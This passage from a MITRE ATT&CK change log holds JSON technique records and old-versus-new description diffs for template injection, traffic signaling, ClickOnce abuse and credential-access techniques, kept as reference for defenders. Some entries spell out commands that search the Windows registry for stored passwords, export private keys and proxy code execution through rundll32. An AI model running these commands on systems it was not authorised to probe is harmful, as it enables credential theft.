"description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
"url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"
},
{
"source_name": "Microsoft Open XML July 2017",
"description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
"url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)"
},
{
"source_name": "Ciberseguridad Decoding malicious RTF files",
"description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.",
"url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/"
},
{
"source_name": "Proofpoint RTF Injection",
"description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021.",
"url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread"
},
{
"source_name": "MalwareBytes Template Injection OCT 2017",
"description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/"
},
{
"source_name": "SANS Brian Wiltse Template Injection",
"description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.",
"url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Brian Wiltse @evalstrings",
"Michael Raggi @aRtAGGI",
"Patrick Campbell, @pjcampbe11"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:21:49.163000+00:00\", \"old_value\": \"2026-05-12 15:12:00.722000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\\n\\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\\n\\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\\n\\nAdversaries may also modify the *\\\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\\n\\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\", \"old_value\": \"Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\\n\\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\\n\\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\\n\\nAdversaries may also modify the *\\\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\\n\\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\", \"diff\": \"--- \\n+++ \\n@@ -6,4 +6,4 @@\\n \\n Adversaries may also modify the *\\\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\\n \\n-This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\\n+This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify references in user document | t | 1 | Adversaries may create or modify references in user document |
| > | templates to conceal malicious code or force authentication | > | templates to conceal malicious code or force authentication | ||
| > | attempts. For example, Microsoft\u2019s Office Open XML (OOXML) | > | attempts. For example, Microsoft\u2019s Office Open XML (OOXML) | ||
| > | specification defines an XML-based format for Office documen | > | specification defines an XML-based format for Office documen | ||
| > | ts (.docx, xlsx, .pptx) to replace older binary formats (.do | > | ts (.docx, xlsx, .pptx) to replace older binary formats (.do | ||
| > | c, .xls, .ppt). OOXML files are packed together ZIP archives | > | c, .xls, .ppt). OOXML files are packed together ZIP archives | ||
| > | compromised of various XML files, referred to as parts, con | > | compromised of various XML files, referred to as parts, con | ||
| > | taining properties that collectively define how a document i | > | taining properties that collectively define how a document i | ||
| > | s rendered.(Citation: Microsoft Open XML July 2017) Propert | > | s rendered.(Citation: Microsoft Open XML July 2017) Propert | ||
| > | ies within parts may reference shared public resources acces | > | ies within parts may reference shared public resources acces | ||
| > | sed via online URLs. For example, template properties may re | > | sed via online URLs. For example, template properties may re | ||
| > | ference a file, serving as a pre-formatted document blueprin | > | ference a file, serving as a pre-formatted document blueprin | ||
| > | t, that is fetched when the document is loaded. Adversaries | > | t, that is fetched when the document is loaded. Adversaries | ||
| > | may abuse these templates to initially conceal malicious co | > | may abuse these templates to initially conceal malicious co | ||
| > | de to be executed via user documents. Template references in | > | de to be executed via user documents. Template references in | ||
| > | jected into a document may enable malicious payloads to be f | > | jected into a document may enable malicious payloads to be f | ||
| > | etched and executed when the document is loaded.(Citation: S | > | etched and executed when the document is loaded.(Citation: S | ||
| > | ANS Brian Wiltse Template Injection) These documents can be | > | ANS Brian Wiltse Template Injection) These documents can be | ||
| > | delivered via other techniques such as [Phishing](https://at | > | delivered via other techniques such as [Phishing](https://at | ||
| > | tack.mitre.org/techniques/T1566) and/or [Taint Shared Conten | > | tack.mitre.org/techniques/T1566) and/or [Taint Shared Conten | ||
| > | t](https://attack.mitre.org/techniques/T1080) and may evade | > | t](https://attack.mitre.org/techniques/T1080) and may evade | ||
| > | static detections since no typical indicators (VBA macro, sc | > | static detections since no typical indicators (VBA macro, sc | ||
| > | ript, etc.) are present until after the malicious payload is | > | ript, etc.) are present until after the malicious payload is | ||
| > | fetched.(Citation: Redxorblue Remote Template Injection) Ex | > | fetched.(Citation: Redxorblue Remote Template Injection) Ex | ||
| > | amples have been seen in the wild where template injection w | > | amples have been seen in the wild where template injection w | ||
| > | as used to load malicious code containing an exploit.(Citati | > | as used to load malicious code containing an exploit.(Citati | ||
| > | on: MalwareBytes Template Injection OCT 2017) Adversaries m | > | on: MalwareBytes Template Injection OCT 2017) Adversaries m | ||
| > | ay also modify the <code>*\\template</code> control word with | > | ay also modify the <code>*\\template</code> control word with | ||
| > | in an .rtf file to similarly conceal then download malicious | > | in an .rtf file to similarly conceal then download malicious | ||
| > | code. This legitimate control word value is intended to be | > | code. This legitimate control word value is intended to be | ||
| > | a file destination of a template file resource that is retri | > | a file destination of a template file resource that is retri | ||
| > | eved and loaded when an .rtf file is opened. However, advers | > | eved and loaded when an .rtf file is opened. However, advers | ||
| > | aries may alter the bytes of an existing .rtf file to insert | > | aries may alter the bytes of an existing .rtf file to insert | ||
| > | a template control word field to include a URL resource of | > | a template control word field to include a URL resource of | ||
| > | a malicious payload.(Citation: Proofpoint RTF Injection)(Cit | > | a malicious payload.(Citation: Proofpoint RTF Injection)(Cit | ||
| > | ation: Ciberseguridad Decoding malicious RTF files) This te | > | ation: Ciberseguridad Decoding malicious RTF files) This te | ||
| > | chnique may also enable [Forced Authentication](https://atta | > | chnique may also enable [Forced Authentication](https://atta | ||
| > | ck.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or | > | ck.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or | ||
| > | other credential prompting) URL and triggering an authentica | > | other credential prompting) URL and triggering an authentic | ||
| > | tion attempt.(Citation: Anomali Template Injection MAR 2018) | > | ation attempt.(Citation: Anomali Template Injection MAR 2018 | ||
| > | (Citation: Talos Template Injection July 2017)(Citation: ryh | > | )(Citation: Talos Template Injection July 2017)(Citation: ry | ||
| > | anson phishery SEPT 2016) | > | hanson phishery SEPT 2016) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use traffic signaling to hide open ports or | t | 1 | Adversaries may use traffic signaling to hide open ports or |
| > | other malicious functionality used for persistence or comman | > | other malicious functionality used for persistence or comman | ||
| > | d and control. Traffic signaling involves the use of a magic | > | d and control. Traffic signaling involves the use of a magic | ||
| > | value or sequence that must be sent to a system to trigger | > | value or sequence that must be sent to a system to trigger | ||
| > | a special response, such as opening a closed port or executi | > | a special response, such as opening a closed port or executi | ||
| > | ng a malicious task. This may take the form of sending a ser | > | ng a malicious task. This may take the form of sending a ser | ||
| > | ies of packets with certain characteristics before a port wi | > | ies of packets with certain characteristics before a port wi | ||
| > | ll be opened that the adversary can use for command and cont | > | ll be opened that the adversary can use for command and cont | ||
| > | rol. Usually this series of packets consists of attempted co | > | rol. Usually this series of packets consists of attempted co | ||
| > | nnections to a predefined sequence of closed ports (i.e. [Po | > | nnections to a predefined sequence of closed ports (i.e. [Po | ||
| > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | ||
| > | , but can involve unusual flags, specific strings, or other | > | , but can involve unusual flags, specific strings, or other | ||
| > | unique characteristics. After the sequence is completed, ope | > | unique characteristics. After the sequence is completed, ope | ||
| > | ning a port may be accomplished by the host-based firewall, | > | ning a port may be accomplished by the host-based firewall, | ||
| > | but could also be implemented by custom software. Adversari | > | but could also be implemented by custom software. Adversari | ||
| > | es may also communicate with an already open port, but the s | > | es may also communicate with an already open port, but the s | ||
| > | ervice listening on that port will only respond to commands | > | ervice listening on that port will only respond to commands | ||
| > | or trigger other malicious functionality if passed the appro | > | or trigger other malicious functionality if passed the appro | ||
| > | priate magic value(s). The observation of the signal packet | > | priate magic value(s). The observation of the signal packet | ||
| > | s to trigger the communication can be conducted through diff | > | s to trigger the communication can be conducted through diff | ||
| > | erent methods. One means, originally implemented by Cd00r (C | > | erent methods. One means, originally implemented by Cd00r,(C | ||
| > | itation: Hartrell cd00r 2002), is to use the libpcap librari | > | itation: Hartrell cd00r 2002) is to use the libpcap librarie | ||
| > | es to sniff for the packets in question. Another method leve | > | s to sniff for the packets in question. Another method lever | ||
| > | rages raw sockets, which enables the malware to use ports th | > | ages raw sockets, which enables the malware to use ports tha | ||
| > | at are already open for use by other programs. On network d | > | t are already open for use by other programs. On network de | ||
| > | evices, adversaries may use crafted packets to enable [Netwo | > | vices, adversaries may use crafted packets to enable [Networ | ||
| > | rk Device Authentication](https://attack.mitre.org/technique | > | k Device Authentication](https://attack.mitre.org/techniques | ||
| > | s/T1556/004) for standard services offered by the device suc | > | /T1556/004) for standard services offered by the device such | ||
| > | h as telnet. Such signaling may also be used to open a clos | > | as telnet. Such signaling may also be used to open a close | ||
| > | ed service port such as telnet, or to trigger module modific | > | d service port such as telnet, or to trigger module modifica | ||
| > | ation of malware implants on the device, adding, removing, o | > | tion of malware implants on the device, adding, removing, or | ||
| > | r changing malicious capabilities. Adversaries may use craf | > | changing malicious capabilities. Adversaries may use craft | ||
| > | ted packets to attempt to connect to one or more (open or cl | > | ed packets to attempt to connect to one or more (open or clo | ||
| > | osed) ports, but may also attempt to connect to a router int | > | sed) ports, but may also attempt to connect to a router inte | ||
| > | erface, broadcast, and network address IP on the same port i | > | rface, broadcast, and network address IP on the same port in | ||
| > | n order to achieve their goals and objectives.(Citation: Cis | > | order to achieve their goals and objectives.(Citation: Cisc | ||
| > | co Synful Knock Evolution)(Citation: Mandiant - Synful Knock | > | o Synful Knock Evolution)(Citation: Mandiant - Synful Knock) | ||
| > | )(Citation: Cisco Blog Legacy Device Attacks) To enable thi | > | (Citation: Cisco Blog Legacy Device Attacks) To enable this | ||
| > | s traffic signaling on embedded devices, adversaries must fi | > | traffic signaling on embedded devices, adversaries must fir | ||
| > | rst achieve and leverage [Patch System Image](https://attack | > | st achieve and leverage [Patch System Image](https://attack. | ||
| > | .mitre.org/techniques/T1601/001) due to the monolithic natur | > | mitre.org/techniques/T1601/001) due to the monolithic nature | ||
| > | e of the architecture. Adversaries may also use the Wake-on | > | of the architecture. Adversaries may also use the Wake-on- | ||
| > | -LAN feature to turn on powered off systems. Wake-on-LAN is | > | LAN feature to turn on powered off systems. Wake-on-LAN is a | ||
| > | a hardware feature that allows a powered down system to be p | > | hardware feature that allows a powered down system to be po | ||
| > | owered on, or woken up, by sending a magic packet to it. Onc | > | wered on, or woken up, by sending a magic packet to it. Once | ||
| > | e the system is powered on, it may become a target for later | > | the system is powered on, it may become a target for latera | ||
| > | al movement.(Citation: Bleeping Computer - Ryuk WoL)(Citatio | > | l movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation | ||
| > | n: AMD Magic Packet) | > | : AMD Magic Packet) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use port knocking to hide open ports used fo | t | 1 | Adversaries may use port knocking to hide open ports used fo |
| > | r persistence or command and control. To enable a port, an a | > | r persistence or command and control. To enable a port, an a | ||
| > | dversary sends a series of attempted connections to a predef | > | dversary sends a series of attempted connections to a predef | ||
| > | ined sequence of closed ports. After the sequence is complet | > | ined sequence of closed ports. After the sequence is complet | ||
| > | ed, opening a port is often accomplished by the host based f | > | ed, opening a port is often accomplished by the host based f | ||
| > | irewall, but could also be implemented by custom software. | > | irewall, but could also be implemented by custom software. | ||
| > | This technique has been observed both for the dynamic openin | > | This technique has been observed both for the dynamic openin | ||
| > | g of a listening port as well as the initiating of a connect | > | g of a listening port as well as the initiating of a connect | ||
| > | ion to a listening server on a different system. The observ | > | ion to a listening server on a different system. The observ | ||
| > | ation of the signal packets to trigger the communication can | > | ation of the signal packets to trigger the communication can | ||
| > | be conducted through different methods. One means, original | > | be conducted through different methods. One means, original | ||
| > | ly implemented by Cd00r (Citation: Hartrell cd00r 2002), is | > | ly implemented by Cd00r,(Citation: Hartrell cd00r 2002) is t | ||
| > | to use the libpcap libraries to sniff for the packets in que | > | o use the libpcap libraries to sniff for the packets in ques | ||
| > | stion. Another method leverages raw sockets, which enables t | > | tion. Another method leverages raw sockets, which enables th | ||
| > | he malware to use ports that are already open for use by oth | > | e malware to use ports that are already open for use by othe | ||
| > | er programs. | > | r programs. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use ClickOnce applications (.appref-ms and . | t | 1 | Adversaries may use ClickOnce applications (.appref-ms and . |
| > | application files) to proxy execution of code through a trus | > | application files) to proxy execution of code through a trus | ||
| > | ted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat | > | ted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat | ||
| > | ) ClickOnce is a deployment that enables a user to create se | > | ) ClickOnce is a deployment that enables a user to create se | ||
| > | lf-updating Windows-based .NET applications (i.e, .XBAP, .EX | > | lf-updating Windows-based .NET applications (i.e., .XBAP, .E | ||
| > | E, or .DLL) that install and run from a file share or web pa | > | XE, or .DLL) that install and run from a file share or web p | ||
| > | ge with minimal user interaction. The application launches a | > | age with minimal user interaction. The application launches | ||
| > | s a child process of DFSVC.EXE, which is responsible for ins | > | as a child process of DFSVC.EXE, which is responsible for in | ||
| > | talling, launching, and updating the application.(Citation: | > | stalling, launching, and updating the application.(Citation: | ||
| > | SpectorOps Medium ClickOnce) Because ClickOnce applications | > | SpectorOps Medium ClickOnce) Because ClickOnce application | ||
| > | receive only limited permissions, they do not require admin | > | s receive only limited permissions, they do not require admi | ||
| > | istrative permissions to install.(Citation: Microsoft Learn | > | nistrative permissions to install.(Citation: Microsoft Learn | ||
| > | ClickOnce) As such, adversaries may abuse ClickOnce to proxy | > | ClickOnce) As such, adversaries may abuse ClickOnce to prox | ||
| > | execution of malicious code without needing to escalate pri | > | y execution of malicious code without needing to escalate pr | ||
| > | vileges. ClickOnce may be abused in a number of ways. For e | > | ivileges. ClickOnce may be abused in a number of ways. For | ||
| > | xample, an adversary may rely on [User Execution](https://at | > | example, an adversary may rely on [User Execution](https://a | ||
| > | tack.mitre.org/techniques/T1204). When a user visits a malic | > | ttack.mitre.org/techniques/T1204). When a user visits a mali | ||
| > | ious website, the .NET malware is disguised as legitimate so | > | cious website, the .NET malware is disguised as legitimate s | ||
| > | ftware and a ClickOnce popup is displayed for installation.( | > | oftware and a ClickOnce popup is displayed for installation. | ||
| > | Citation: NetSPI ClickOnce) Adversaries may also abuse Clic | > | (Citation: NetSPI ClickOnce) Adversaries may also abuse Cli | ||
| > | kOnce to execute malware via a [Rundll32](https://attack.mit | > | ckOnce to execute malware via a [Rundll32](https://attack.mi | ||
| > | re.org/techniques/T1218/011) script using the command `rundl | > | tre.org/techniques/T1218/011) script using the command `rund | ||
| > | l32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS | > | ll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBA | ||
| > | /Dfsvc.exe) Additionally, an adversary can move the ClickO | > | S /Dfsvc.exe) Additionally, an adversary can move the Click | ||
| > | nce application file to a remote user\u2019s startup folder for c | > | Once application file to a remote user\u2019s startup folder for | ||
| > | ontinued malicious code deployment (i.e., [Registry Run Keys | > | continued malicious code deployment (i.e., [Registry Run Key | ||
| > | / Startup Folder](https://attack.mitre.org/techniques/T1547 | > | s / Startup Folder](https://attack.mitre.org/techniques/T154 | ||
| > | /001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: B | > | 7/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: | ||
| > | urke/CISA ClickOnce Paper) | > | Burke/CISA ClickOnce Paper) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may directly collect unsecured credentials store | t | 1 | Adversaries may directly collect unsecured credentials store |
| > | d or passed through user communication services. Credentials | > | d or passed through user communication services. Credentials | ||
| > | may be sent and stored in user chat communication applicati | > | may be sent and stored in user chat communication applicati | ||
| > | ons such as email, chat services like Slack or Teams, collab | > | ons such as email, chat services like Slack or Teams, collab | ||
| > | oration tools like Jira or Trello, and any other services th | > | oration tools like Jira or Trello, and any other services th | ||
| > | at support user communication. Users may share various forms | > | at support user communication. Users may share various forms | ||
| > | of credentials (such as usernames and passwords, API keys, | > | of credentials (such as usernames and passwords, API keys, | ||
| > | or authentication tokens) on private or public corporate int | > | or authentication tokens) on private or public corporate int | ||
| > | ernal communications channels. Rather than accessing the st | > | ernal communications channels. Rather than accessing the st | ||
| > | ored chat logs (i.e., [Credentials In Files](https://attack. | > | ored chat logs (i.e., [Credentials In Files](https://attack. | ||
| > | mitre.org/techniques/T1552/001)), adversaries may directly a | > | mitre.org/techniques/T1552/001)), adversaries may directly a | ||
| > | ccess credentials within these services on the user endpoint | > | ccess credentials within these services on the user endpoint | ||
| > | , through servers hosting the services, or through administr | > | , through servers hosting the services, or through administr | ||
| > | ator portals for cloud hosted services. Adversaries may also | > | ator portals for cloud hosted services. Adversaries may also | ||
| > | compromise integration tools like Slack Workflows to automa | > | compromise integration tools like Slack Workflows to automa | ||
| > | tically search through messages to extract user credentials. | > | tically search through messages to extract user credentials. | ||
| > | These credentials may then be abused to perform follow-on a | > | These credentials may then be abused to perform follow-on a | ||
| > | ctivities such as lateral movement or privilege escalation ( | > | ctivities such as lateral movement or privilege escalation.( | ||
| > | Citation: Slack Security Risks). | > | Citation: Slack Security Risks) |
reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1552/002",
"external_id": "T1552.002"
},
{
"source_name": "Pentestlab Stored Credentials",
"description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
"url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Sudhanshu Chauhan, @Sudhanshu_C"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:54:40.982000+00:00\", \"old_value\": \"2026-05-12 15:12:00.624000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\\n\\nExample commands to find Registry keys related to password information:(Citation: Pentestlab Stored Credentials)\\n\\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s\", \"old_value\": \"Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\\n\\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\\n\\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\\n \\n-Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\\n+Example commands to find Registry keys related to password information:(Citation: Pentestlab Stored Credentials)\\n \\n * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\\n * Current User Hive: reg query HKCU /f password /t REG_SZ /s\"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the Registry on compromised systems f | t | 1 | Adversaries may search the Registry on compromised systems f |
| > | or insecurely stored credentials. The Windows Registry store | > | or insecurely stored credentials. The Windows Registry store | ||
| > | s configuration information that can be used by the system o | > | s configuration information that can be used by the system o | ||
| > | r other programs. Adversaries may query the Registry looking | > | r other programs. Adversaries may query the Registry looking | ||
| > | for credentials and passwords that have been stored for use | > | for credentials and passwords that have been stored for use | ||
| > | by other programs or services. Sometimes these credentials | > | by other programs or services. Sometimes these credentials | ||
| > | are used for automatic logons. Example commands to find Reg | > | are used for automatic logons. Example commands to find Reg | ||
| > | istry keys related to password information: (Citation: Pente | > | istry keys related to password information:(Citation: Pentes | ||
| > | stlab Stored Credentials) * Local Machine Hive: <code>reg q | > | tlab Stored Credentials) * Local Machine Hive: <code>reg qu | ||
| > | uery HKLM /f password /t REG_SZ /s</code> * Current User Hiv | > | ery HKLM /f password /t REG_SZ /s</code> * Current User Hive | ||
| > | e: <code>reg query HKCU /f password /t REG_SZ /s</code> | > | : <code>reg query HKCU /f password /t REG_SZ /s</code> |
~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1552/004",
"external_id": "T1552.004"
},
{
"source_name": "Palo Alto Prince of Persia",
"description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
},
{
"source_name": "cisco_deploy_rsa_keys",
"description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"
},
{
"source_name": "AADInternals Azure AD Device Identities",
"description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.",
"url": "https://aadinternals.com/post/deviceidentity/"
},
{
"source_name": "Kaspersky Careto",
"description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
"url": "https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"
},
{
"source_name": "Microsoft Primary Refresh Token",
"description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.",
"url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"
},
{
"source_name": "Wikipedia Public Key Crypto",
"description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
"url": "https://en.wikipedia.org/wiki/Public-key_cryptography"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Itzik Kotler, SafeBreach",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.3",
